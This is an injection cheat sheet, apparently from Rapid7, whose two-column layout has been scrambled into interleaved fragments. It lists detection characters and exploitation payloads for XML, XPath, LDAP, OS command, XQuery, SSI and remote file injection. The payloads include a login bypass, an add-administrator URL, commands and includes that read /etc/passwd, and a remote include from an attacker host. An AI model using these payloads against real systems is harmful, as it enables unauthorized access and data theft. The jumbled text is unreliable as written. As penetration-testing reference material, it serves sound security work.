XML Injection

INJECTION CHEAT SHEET (non-SQL) Detection

single quote
www.rapid7.com
double quote

XPATH Injection <> angular parentheses

Detection <!--/--> XML Comment tag

single quote & ampersand

double quote <![CDATA[ / ]]> CDATA section delimiters

Exploitation Exploitation
or 1=1 or = <!-- EXISTING TAG --> New value of existing tag along with tag name

] | * | user[@role=admin http://www.example.com/addUser.php?us Add user as administrator

ername=dan&password=123456<!--email:
NODENAME returns all children of node --><userid>0</userid><mail>foo@emaildo-
//NODENAME returns all elements in the document main.com

NODENAME//SUBNODENAME returns all SUBNODE under NODE element OS Command Injection

//NODENAME/[NAME=VALUE] returns all NODE that have a NAME child Detection
equal to VALUE | <ANOTHER COMMAND> Pipe - On *NIX Output of first command to another,
http://site.com/login. Login bypass In Windows multiple commands execution
aspx?username=foo or 1=1 or = ; <ANOTHER COMMAND> semicolon - Running two commands together
LDAP Injection Exploitation
Detection %<ENV VARIABLE>% Windows only
( opening bracket & Running command in background (*NIX Only)
) closing bracket ://site.com/whois.php?domain=foobar; Displays content of /etc/passwd file
I Pipe - OR operator for LDAP echo+/etc/passwd

& Ampersand - AND operator for LDAP XQuery Injection

! Exclamation - NOT operator for LDAP Detection
Exploitation single quote
(&(param1=val1)(param2=val2)) AND operator double quote
(|(param1=val1)(param2=val2)) OR operator Exploitation
*)(ObjectClass=*)) Blind LDAP Injection using AND operator or <ATTACK> or .=
(&(objectClass=void
something or =
void)(ObjectClass=void))(&(objectClass=void BLIND LDAP Injection using OR operator
http://site.com/xmlsearch?user=foo or = Displays list of all users with attributes
http://site.com/ldapsearch?user=* Displays list of all users with attributes
SSI Injection
Remote Code Injection
Detection
Upload File include, echo, exec Look for word
Upload file
.SHTML File extension
PHP, JSP, ASP etc. Injecting active content
Exploitation
execution! Access back from webroot
< ! # = / . - > and [a-zA-Z0-9] Required characters for successful execution
Remote file inclusion/injection <!--#include virtual=<SOME SYSTEM FILE > -->
include($incfile); PHP call
http://site.com/ssiform.php?showfile=<!-- Displays content of /etc/passwd file
http://site.com/page.php?file=http://www.attacker.com/exploit Injecting #include virtual=/etc/passwd -->